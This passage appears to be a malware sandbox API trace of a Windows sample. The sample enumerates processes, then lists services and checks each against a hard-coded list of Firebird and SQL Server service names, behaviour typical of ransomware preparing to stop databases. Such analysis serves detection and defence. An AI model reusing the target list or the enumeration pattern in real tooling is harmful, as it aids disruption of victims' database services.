th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0167.020] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0167.020] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.021] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.021] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0167.022] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0167.022] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0167.022] lstrlenW (lpString="movers-indication.exe") returned 21 [0167.022] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0167.023] lstrlenW (lpString="drama tv thee.exe") returned 17 [0167.023] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0167.024] lstrlenW (lpString="barriers.exe") returned 12 [0167.024] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0167.025] lstrlenW (lpString="shootclick.exe") returned 14 [0167.025] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0167.026] lstrlenW (lpString="nickel.exe") returned 10 [0167.026] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0167.026] lstrlenW (lpString="imperialopened.exe") returned 18 [0167.026] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0167.027] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0167.027] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0167.028] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0167.028] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0167.029] lstrlenW (lpString="perhapssentences.exe") returned 20 [0167.029] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.030] lstrlenW (lpString="dllhost.exe") returned 11 [0167.030] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.030] lstrlenW (lpString="svchost.exe") returned 11 [0167.030] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0167.031] lstrlenW (lpString="chrome64b.exe") returned 13 [0167.031] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0167.032] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0167.032] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.033] lstrlenW (lpString="conhost.exe") returned 11 [0167.033] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0167.033] lstrlenW (lpString="cmd.exe") returned 7 [0167.034] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.034] lstrlenW (lpString="conhost.exe") returned 11 [0167.034] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.035] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.035] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0167.036] lstrlenW (lpString="mode.com") returned 8 [0167.036] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0167.037] CloseHandle (hObject=0x318) returned 1 [0167.037] Sleep (dwMilliseconds=0x1f4) [0167.552] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0167.552] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0167.552] GetLastError () returned 0xea [0167.553] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800c8 [0167.553] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800c8, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800c8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0167.553] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0167.553] lstrlenW (lpString="Appinfo") returned 7 [0167.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.553] lstrlenW (lpString="AppXSvc") returned 7 [0167.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0167.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0167.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0167.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0167.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0167.554] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.554] lstrlenW (lpString="Audiosrv") returned 8 [0167.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0167.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0167.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0167.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0167.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0167.554] lstrlenW (lpString="BFE") returned 3 [0167.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.554] lstrlenW (lpString="BITS") returned 4 [0167.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0167.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0167.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0167.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0167.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0167.554] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0167.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0167.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0167.555] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0167.555] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0167.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0167.555] lstrlenW (lpString="CDPSvc") returned 6 [0167.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0167.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0167.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0167.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0167.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0167.555] lstrlenW (lpString="ClickToRunSvc") returned 13 [0167.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0167.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0167.555] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0167.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0167.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0167.555] lstrlenW (lpString="ClipSVC") returned 7 [0167.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0167.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0167.555] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0167.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0167.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0167.555] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0167.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0167.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0167.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0167.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0167.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0167.555] lstrlenW (lpString="CryptSvc") returned 8 [0167.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.556] lstrlenW (lpString="DcomLaunch") returned 10 [0167.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.556] lstrlenW (lpString="DeviceAssociationService") returned 24 [0167.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0167.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0167.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0167.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0167.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0167.556] lstrlenW (lpString="Dhcp") returned 4 [0167.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.556] lstrlenW (lpString="Dnscache") returned 8 [0167.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.556] lstrlenW (lpString="DoSvc") returned 5 [0167.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0167.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0167.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0167.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0167.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0167.556] lstrlenW (lpString="DPS") returned 3 [0167.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.557] lstrlenW (lpString="DusmSvc") returned 7 [0167.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0167.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0167.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0167.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0167.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0167.557] lstrlenW (lpString="EventLog") returned 8 [0167.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0167.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0167.557] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0167.557] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0167.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0167.557] lstrlenW (lpString="EventSystem") returned 11 [0167.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.557] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.557] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.557] lstrlenW (lpString="FontCache") returned 9 [0167.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0167.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0167.557] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0167.557] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0167.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0167.557] lstrlenW (lpString="gpsvc") returned 5 [0167.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.557] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.558] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.558] lstrlenW (lpString="iphlpsvc") returned 8 [0167.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.558] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.558] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.558] lstrlenW (lpString="KeyIso") returned 6 [0167.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0167.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0167.558] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0167.558] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0167.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0167.558] lstrlenW (lpString="LanmanServer") returned 12 [0167.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.558] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0167.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.558] lstrlenW (lpString="lfsvc") returned 5 [0167.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0167.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0167.558] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0167.558] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0167.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0167.558] lstrlenW (lpString="LicenseManager") returned 14 [0167.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0167.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0167.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0167.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0167.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0167.559] lstrlenW (lpString="lmhosts") returned 7 [0167.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.559] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.559] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.559] lstrlenW (lpString="LSM") returned 3 [0167.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0167.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0167.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0167.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0167.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0167.559] lstrlenW (lpString="MpsSvc") returned 6 [0167.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.559] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.559] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.559] lstrlenW (lpString="NcbService") returned 10 [0167.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0167.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0167.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0167.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0167.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0167.559] lstrlenW (lpString="netprofm") returned 8 [0167.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.559] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.560] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.560] lstrlenW (lpString="NlaSvc") returned 6 [0167.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.560] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.560] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.560] lstrlenW (lpString="nsi") returned 3 [0167.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.560] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.560] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.560] lstrlenW (lpString="PcaSvc") returned 6 [0167.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.560] 